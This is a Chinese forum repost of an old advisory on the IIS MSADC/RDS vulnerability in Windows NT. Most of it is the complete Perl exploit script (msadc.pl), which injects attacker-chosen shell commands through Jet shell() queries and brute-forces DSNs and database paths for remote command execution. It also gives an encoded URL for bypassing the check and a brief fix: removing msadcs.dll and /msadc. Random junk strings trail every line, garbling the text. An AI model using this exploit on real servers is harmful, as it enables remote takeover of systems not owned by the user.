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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) PV5-^Y"v  
3}v0{c  
涉及程序: S5zpUF=  
Microsoft NT server CD*f4I#d  
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描述: ]:[)KZ~  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ))8Emk^Q{  
)zo#1$C-  
详细: = E##},N"  
如果你没有时间读详细内容的话,就删除: L.R"~3  
c:\Program Files\Common Files\System\Msadc\msadcs.dll IS3e|o*]MP  
有关的安全问题就没有了。 U]+b` m  
#i'C  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 9[6G8;<D&  
q}wl_ku9+  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 qiF@7i  
关于利用ODBC远程漏洞的描述,请参看: J r=REa0  
7O;BS}Lv=  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $`-SVC  
;P 0,60  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 LG"BfYy6  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp R (+h)#![  
.aVHd<M  
这里不再论述。 !y[}|  
S,ouj;B  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: dm/-}  
a>-}\GXTA  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset G~b`O20N  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! : HQ8M*o  
cKvAR5|  
# CP9^R S  
#将下面这段保存为txt文件,然后: "perl -x 文件名" T%;k%  
]{q- Y<{"  
#!perl Y^*Lh/:h  
# A&X  
# MSADC/RDS 'usage' (aka exploit) script %OezaNOtm  
# duZ|mT8Q==  
# by rain.forest.puppy y\r^\ S9%  
# a+4`}:KA#  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me .b!OZ  
# beta test and find errors! j\i;'t}8g  
(1saof *p%  
use Socket; use Getopt::Std; !;xf>API  
getopts("e:vd:h:XR", \%args); A1#4nkkc9  
[RGC!}"mr  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; e>ZbZy?  
E-5ij,bHv3  
if (!defined $args{h} && !defined $args{R}) { ntA[[OIFO  
print qq~ <=5,(a5g  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ;W$w=j: O{  
-h <host> = host you want to scan (ip or domain) tS_xa  
-d <seconds> = delay between calls, default 1 second bv:0EdVr  
-X = dump Index Server path table, if available n',9#I(!L  
-v = verbose jWO&SWso  
-e = external dictionary file for step 5 )D6'k{6M  
: pE-{3I  
Or a -R will resume a command session + Tgy,oD0  
F1{?]>G  
~; exit;} Mdy0!{d  
S?,KgMVM  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; [FeJ8P>z  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} mlsvP%[f.  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} vkNZ -`+I  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); IxK 3,@d  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} n;S0fg  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;Wfv+]n9  
lu G023'  
if (!defined $args{R}){ $ret = &has_msadc; ur~Tql  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} FEm1^X#]  
>h/)r6  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" &\WkJ}&PnA  
. "cmd /c "; n{qa]3  
$in=<STDIN>; chomp $in; "R\\\I7u  
$command="cmd /c " . $in ; ^Yf)lV&[  
dctA`W@:-  
if (defined $args{R}) {&load; exit;} Rpa A)R,  
b6?Xo/lJ.  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; eJVOVPg<,  
&try_btcustmr; Z7KB?1{G  
b& _i/n(  
print "\nStep 2: Trying to make our own DSN..."; ~PH1|h6  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; E:dT_x<Y  
#Kb)>gzT  
print "\nStep 3: Trying known DSNs..."; I2Or& _  
&known_dsn; 7DHT)9lD/  
qI4R`P"  
print "\nStep 4: Trying known .mdbs..."; RJ`/qXL  
&known_mdb; ]ukj]m/@  
JJbM)B@-  
if (defined $args{e}){ Q%AS ;(d  
print "\nStep 5: Trying dictionary of DSN names..."; 2jrX  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ^c[CyZ:a  
Tg{dIh.Q~O  
print "Sorry Charley...maybe next time?\n"; u}@% 70A  
exit; #IL~0t  
)n3bi QL_  
############################################################################## =vqE=:X6  
&s6(3k  
sub sendraw { # ripped and modded from whisker 9cw4tqTm  
sleep($delay); # it's a DoS on the server! At least on mine... =Y=^]ayO/  
my ($pstr)=@_; 46.q a nh  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || I;|5C=!  
die("Socket problems\n"); [u9S+:7"  
if(connect(S,pack "SnA4x8",2,80,$target)){ B#Oc8`1Y  
select(S); $|=1; d@q t%r3;  
print $pstr; my @in=<S>; ui#1+p3G  
select(STDOUT); close(S); 5>z:[OdY*  
return @in; lG[ )8!:+  
} else { die("Can't connect...\n"); }} sP8-gkkor  
"#eNFCo7k  
############################################################################## W0uM?J\O  
f'zFg["aZS  
sub make_header { # make the HTTP request \PtC  
my $msadc=<<EOT XR=c 8f  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ~:RDw<PWp  
User-Agent: ACTIVEDATA :BZx ) HxQ  
Host: $ip  qzU2H  
Content-Length: $clen ;Cp/2A}Xx  
Connection: Keep-Alive [2H(yLwO  
*v7& T  
ADCClientVersion:01.06 zf!\wY"`  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 o"+ &^  
WY. \<$7  
--!ADM!ROX!YOUR!WORLD! l.NkS   
Content-Type: application/x-varg |2t7mat  
Content-Length: $reqlen qeO6}A"^|  
%Cbc@=k  
EOT uK&wS#uY  
; $msadc=~s/\n/\r\n/g; h+'eFAZ  
return $msadc;} ZZ.0'   
krnk%ug  
############################################################################## dW=D]  
{i7Fu+xZj  
sub make_req { # make the RDS request nY5n%>8  
my ($switch, $p1, $p2)=@_; LXLIos55S  
my $req=""; my $t1, $t2, $query, $dsn; EA@$^e[  
GzZ|T7fm  
if ($switch==1){ # this is the btcustmr.mdb query (Ss77~W7  
$query="Select * from Customers where City=" . make_shell(); f!R^;'a  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . f6_|dvY3  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} F*jj cUk  
'>WuukC  
elsif ($switch==2){ # this is general make table query YvP"W/5  
$query="create table AZZ (B int, C varchar(10))"; o!_; H}pq  
$dsn="$p1";} Qj~W-^/ -  
(9[C0eS  
elsif ($switch==3){ # this is general exploit table query G>{:D'#  
$query="select * from AZZ where C=" . make_shell(); p$!+2=)gY  
$dsn="$p1";} s"Pk-Dv  
,tv9+n@x  
elsif ($switch==4){ # attempt to hork file info from index server Ai_|)  
$query="select path from scope()"; q!h*3mNm  
$dsn="Provider=MSIDXS;";} )b2E/G@X&  
yW=hnV{  
elsif ($switch==5){ # bad query `R=_t]ie  
$query="select"; Vi -!E  
$dsn="$p1";} AYQh=$)(  
CH_Dat >  
$t1= make_unicode($query); h*X%:UbW  
$t2= make_unicode($dsn); p2f WL  
$req = "\x02\x00\x03\x00"; =`.5b:e  
$req.= "\x08\x00" . pack ("S1", length($t1)); `q{'_\gVt(  
$req.= "\x00\x00" . $t1 ; >D^7v(&  
$req.= "\x08\x00" . pack ("S1", length($t2)); _(s|Q  
$req.= "\x00\x00" . $t2 ; {4jSj0W  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; {c EK z\RX  
return $req;} %m\G'hY2  
LVcy.kU@]  
############################################################################## ppo$&W &z  
H=SMDj)s+  
sub make_shell { # this makes the shell() statement :x5o3xE  
return "'|shell(\"$command\")|'";} Pv$"DEXA2  
6g,3s?aT  
############################################################################## 8{=( #]  
mbG^fy'  
sub make_unicode { # quick little function to convert to unicode WF.$gBH"  
my ($in)=@_; my $out; 8_,wOkk_B  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } exMPw ;8  
return $out;} y42T.oK8c  
o6yZ@R  
############################################################################## O09g b[  
i2R]lE8  
sub rdo_success { # checks for RDO return success (this is kludge) )^@V*$D  
my (@in) = @_; my $base=content_start(@in); %B un@  
if($in[$base]=~/multipart\/mixed/){ VqT[ca\  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 52R.L9Ai  
return 0;} RuEnr7gi  
*wZV*)}  
############################################################################## -EIMh^  
?@BaBU:o`F  
sub make_dsn { # this makes a DSN for us 7}7C0mV3  
my @drives=("c","d","e","f"); BCDf9]X  
print "\nMaking DSN: "; ]qG5 Ne _  
foreach $drive (@drives) { n~cm?"  
print "$drive: "; l8Iy 03H  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 7(iRz  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ~ 5qZs"ks  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); f6A['<%o  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; F"? *@L  
return 0 if $2 eq "404"; # not found/doesn't exist ?BZ`mrH^  
if($2 eq "200") { X1QZEl  
foreach $line (@results) { k#G7`dJl  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} (dnc7KrM  
} return 0;} K]Cs2IpI  
y(BLin!O.  
############################################################################## wbKBwI5w  
!x / Z"  
sub verify_exists { Pb&+(j  
my ($page)=@_; Jy NY *  
my @results=sendraw("GET $page HTTP/1.0\n\n"); &IY_z0=  
return $results[0];} ' "p*FN  
|Dpfh  
############################################################################## p%tg->#L  
90k|u'ikOp  
sub try_btcustmr { kF~e3A7C  
my @drives=("c","d","e","f"); ~a,'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _( /lBf{|  
gxtbu$  
foreach $dir (@dirs) { tdK^X1  
print "$dir -> "; # fun status so you can see progress AsF`A"Cdw<  
foreach $drive (@drives) { 2G> ]W?>  
print "$drive: "; # ditto xJ5!` #=  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ^moIMFl  
$reqlenlen=length( "$reqlen" ); k$- q; VI  
$clen= 206 + $reqlenlen + $reqlen; Eu~wbU"%  
rZ4<*Zegv  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); T1[ZrY'0  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} "< R 2oo)^  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} |VF"Cjw?  
X,CF Y  
############################################################################## LMj'?SuH  
nECf2>Yp v  
sub odbc_error { N2Hb19/k  
my (@in)=@_; my $base; \`# 0,pLr  
my $base = content_start(@in); HBGA lZ  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Upen/1bA  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; S*@0%|Q4r  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; U MIZ:*j  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; T<GD!j(  
return $in[$base+4].$in[$base+5].$in[$base+6];} 5ml}TSMu'  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; n:] 1^wX#  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . =x]dP.  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} &h[}5  
RL8 wSK  
############################################################################## ?saVk7Z[|5  
Ka2tr]+s  
sub verbose { <cjTn:w  
my ($in)=@_; aBLb i  
return if !$verbose; L#b Q`t  
print STDOUT "\n$in\n";} ay[*b_f  
GQWTQIl]  
############################################################################## d'D\#+%> =  
?"u-@E[m  
sub save { Ux]@p rAq  
my ($p1, $p2, $p3, $p4)=@_; S*:w\nXP~  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; >ON.ftZ i  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; &$im^0`r_  
close OUT;} :N:8O^D^<  
)S?}huX  
############################################################################## H.K`#W&  
w+P^c|  
sub load { F\72^,0  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";  I ^92b  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); IbwRb  
@p=<IN>; close(IN); pSUp"wch  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ZK*aVYnu  
$target= inet_aton($ip) || die("inet_aton problems"); y$NG..S  
print "Resuming to $ip ..."; x*)O<K  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ~cwwB{  
if($p[1]==1) { G"w Q(6J@  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; O,#[m:Ejb  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; !%9I%Ak^  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); DJUtuex  
if (rdo_success(@results)){print "Success!\n";} \(L^ /]}G)  
else { print "failed\n"; verbose(odbc_error(@results));}} LXl! !i%  
elsif ($p[1]==3){ 9B0"GEwrs  
if(run_query("$p[3]")){ [hbIv   
print "Success!\n";} else { print "failed\n"; }} pQ8+T|0x  
elsif ($p[1]==4){ GrC")Z|3u  
if(run_query($drvst . "$p[3]")){ 7C^ nk z  
print "Success!\n"; } else { print "failed\n"; }} OSk9Eb4ld  
exit;} h (2k;M^s  
gp2)35  
############################################################################## b*fflJ  
b"9,DQB=i  
sub create_table { A4h/oMis  
my ($in)=@_; g.s oN qt=  
$reqlen=length( make_req(2,$in,"") ) - 28; \$"Xr  
$reqlenlen=length( "$reqlen" );  CVp<SS(  
$clen= 206 + $reqlenlen + $reqlen; HbVLL`06*  
my @results=sendraw(make_header() . make_req(2,$in,"")); V;(LeuDH|  
return 1 if rdo_success(@results); #C mBgxg+M  
my $temp= odbc_error(@results); verbose($temp); pT tX[CE  
return 1 if $temp=~/Table 'AZZ' already exists/; XvY-C  
return 0;} c-d}E!C:  
w.H+$=aK  
############################################################################## Jmx }r,j  
lX3h'h  
sub known_dsn { 3R {y68-S  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ~O-8h0d3  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ]9Hy "#Fz  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", jfamuu7  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ba13^;fm#  
H=C;g)R  
foreach $dSn (@dsns) { P+h&tXZn8  
print "."; 67?5Cv  
next if (!is_access("DSN=$dSn")); G]CY3xw98  
if(create_table("DSN=$dSn")){ H;1}Nvvd  
print "$dSn successful\n"; ;\N*iN#K  
if(run_query("DSN=$dSn")){ $EF@x}h:A  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { d .A0(*k,  
print "Something's borked. Use verbose next time\n";}}} print "\n";} M-Bw9`#Jw  
TZg7BLfy  
############################################################################## 5@ug1F&   
9j`-fs@:  
sub is_access { |{T2|iJI  
my ($in)=@_; 605|*(  
$reqlen=length( make_req(5,$in,"") ) - 28; ':3KZ4/C  
$reqlenlen=length( "$reqlen" ); "Cb<~Dy  
$clen= 206 + $reqlenlen + $reqlen; Sqs`E[G*  
my @results=sendraw(make_header() . make_req(5,$in,"")); :F&WlU$L  
my $temp= odbc_error(@results); -w B AFr  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); g:U ul4  
return 0;} ^ dqEOW  
O [/~V=  
############################################################################## gZ3!2T>  
<=Qk^Y2k  
sub run_query { %L3]l  
my ($in)=@_; Pp2 )P7  
$reqlen=length( make_req(3,$in,"") ) - 28; N;Bal/kd2  
$reqlenlen=length( "$reqlen" ); 'Nh^SbD+_|  
$clen= 206 + $reqlenlen + $reqlen; bd4q/w4q  
my @results=sendraw(make_header() . make_req(3,$in,"")); . +>}},  
return 1 if rdo_success(@results); x<(h9tB  
my $temp= odbc_error(@results); verbose($temp); JN_# [S$  
return 0;} o9i\[Ul  
GSp1,E2J  
############################################################################## e 3K  
8T4J^6  
sub known_mdb { PJ{.jWwD  
my @drives=("c","d","e","f","g"); _Gu ;U@  
my @dirs=("winnt","winnt35","winnt351","win","windows"); &,zeBFmc  
my $dir, $drive, $mdb; \!r^6'A   
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; c+JlM1p@  
`;;!>rm  
# this is sparse, because I don't know of many - g0>>{M'  
my @sysmdbs=( "\\catroot\\icatalog.mdb", :&m(WZ \  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 4rm/+Zes  
"\\system32\\certmdb.mdb", :Lx]`dSk  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% cF6|IlhO  
=R05H2hs  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", jKzj Tn9{E  
"\\cfusion\\cfapps\\forums\\forums_.mdb", s>5 Z  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", >EY0-B  
"\\cfusion\\cfapps\\security\\realm_.mdb", o&]qjFo\m  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", k;sUDmrO  
"\\cfusion\\database\\cfexamples.mdb", @UKd0kxPN{  
"\\cfusion\\database\\cfsnippets.mdb", C1=[\c~jw  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", (k?OYz]c  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", PsLCO(26  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 5 F-Q&  
"\\cfusion\\database\\smpolicy.mdb", U:Y?2$#  
"\\cfusion\\database\cypress.mdb", h>wU';5#f  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", XL:7$  
"\\website\\cgi-win\\dbsample.mdb", * XJSa  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", (I$hw"%&  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" AF@C9s  
); #these are just _PIk,!<  
foreach $drive (@drives) { ?Rdi"{.wI  
foreach $dir (@dirs){ o! 8X< o  
foreach $mdb (@sysmdbs) { Z]tz<YSkG  
print "."; \4ZQop  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ wQ5__"D  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; yC[}gHv  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ %9j]N$.V  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; C.@TX  
} else { print "Something's borked. Use verbose next time\n"; }}}}} (< h,R@:  
"P6MLf1  
foreach $drive (@drives) { /=N`P &R#  
foreach $mdb (@mdbs) { ,0~=9dR  
print "."; T4[eBO  
if(create_table($drv . $drive . $dir . $mdb)){ 0PN{ +<? .  
print "\n" . $drive . $dir . $mdb . " successful\n"; n3(HA  
if(run_query($drv . $drive . $dir . $mdb)){ fc91D]c  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 6vDgM fw  
} else { print "Something's borked. Use verbose next time\n"; }}}} E~B LY{3:  
} KnuqU2< {  
Jps!,Mflc  
############################################################################## >a<;)K^1  
t?\osPL  
sub hork_idx { m\(a{x  
print "\nAttempting to dump Index Server tables...\n"; R&?p^!`%  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ]?^mb n  
$reqlen=length( make_req(4,"","") ) - 28; V{][{5SR  
$reqlenlen=length( "$reqlen" ); ?IK[]=!  
$clen= 206 + $reqlenlen + $reqlen; QZX+E   
my @results=sendraw2(make_header() . make_req(4,"","")); WDcjj1`l  
if (rdo_success(@results)){ ~Y{K ^:wN^  
my $max=@results; my $c; my %d; ~%]+5^Ka]  
for($c=19; $c<$max; $c++){ O_ ~\$b  
$results[$c]=~s/\x00//g; v"`w'+  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; G]{)yZ'}  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; y0 xte&  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; >">-4L17m  
$d{"$1$2"}="";} 139_\=5|U/  
foreach $c (keys %d){ print "$c\n"; } Y9ru~&/o$  
} else {print "Index server doesn't seem to be installed.\n"; }} hGsY u)  
},l3N K  
############################################################################## q N>j2~  
*p"%cas  
sub dsn_dict { % 74}H8q_z  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); k3&Wv  
while(<IN>){ \n}cx~j  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; =dPrG=A   
next if (!is_access("DSN=$dSn")); +S$x}b'5q  
if(create_table("DSN=$dSn")){ ]c08`  
print "$dSn successful\n"; v''$qMQ)  
if(run_query("DSN=$dSn")){ MZ0 J/@(  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5( 3tPbm{  
print "Something's borked. Use verbose next time\n";}}} GE|V^_|i  
print "\n"; close(IN);} vV%w#ULxE~  
G3q\Z`|3h  
############################################################################## u BvN*LQ  
Kg 56.$  
sub sendraw2 { # ripped and modded from whisker T5ol2  
sleep($delay); # it's a DoS on the server! At least on mine... :p89J\  
my ($pstr)=@_; _f/6bpv  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || bi QDupTz  
die("Socket problems\n"); D_g+O"];P  
if(connect(S,pack "SnA4x8",2,80,$target)){ ]`LMy t0  
print "Connected. Getting data"; OF}vY0oiw?  
open(OUT,">raw.out"); my @in; cY5h6+_  
select(S); $|=1; print $pstr; Ay[6rUO  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Z\n nVM=  
close(OUT); select(STDOUT); close(S); return @in; |(]XZ!{  
} else { die("Can't connect...\n"); }} 0y*8;7-|r)  
{q:6;yzxl  
############################################################################## Esd A %`  
,#nyEE  
sub content_start { # this will take in the server headers  3= PRe  
my (@in)=@_; my $c; }5EvBEv-)  
for ($c=1;$c<500;$c++) { J%{>I   
if($in[$c] =~/^\x0d\x0a/){ F.4xi+S_  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 0`:0m/fsU  
else { return $c+1; }}} R,8;GS42  
return -1;} # it should never get here actually H>% K}Fh  
8 K'3iw>z  
############################################################################## (V&$KDOA  
U`z=!KI+g  
sub funky { `ml  
my (@in)=@_; my $error=odbc_error(@in); 13kl\ <6  
if($error=~/ADO could not find the specified provider/){ =nG g k}Z  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ,XU<2jv]  
exit;} H>X:#xOA_  
if($error=~/A Handler is required/){ 1 Qln|b8<  
print "\nServer has custom handler filters (they most likely are patched)\n"; ]@0C1 r  
exit;} )1N~-VuT  
if($error=~/specified Handler has denied Access/){ Dr)B0]KG  
print "\nServer has custom handler filters (they most likely are patched)\n"; ',P$m&z  
exit;}} 9!; /+P  
@P@?KZ..v!  
############################################################################## PKJw%.-  
dSkMA  
sub has_msadc { }"Clv /3_  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); G0)}?5L1J  
my $base=content_start(@results); ;0FfP  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ,N93H3(  
return 0;} $i1$nc8  
wNtC5  
######################## :<hM@>eFn  
#A\@)wJ  
{\hjKP  
解决方案: zc K`hS  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll {u~JR(C:  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 KrdEB0qh  
:er(YWF:  
拿出来充数 哈哈
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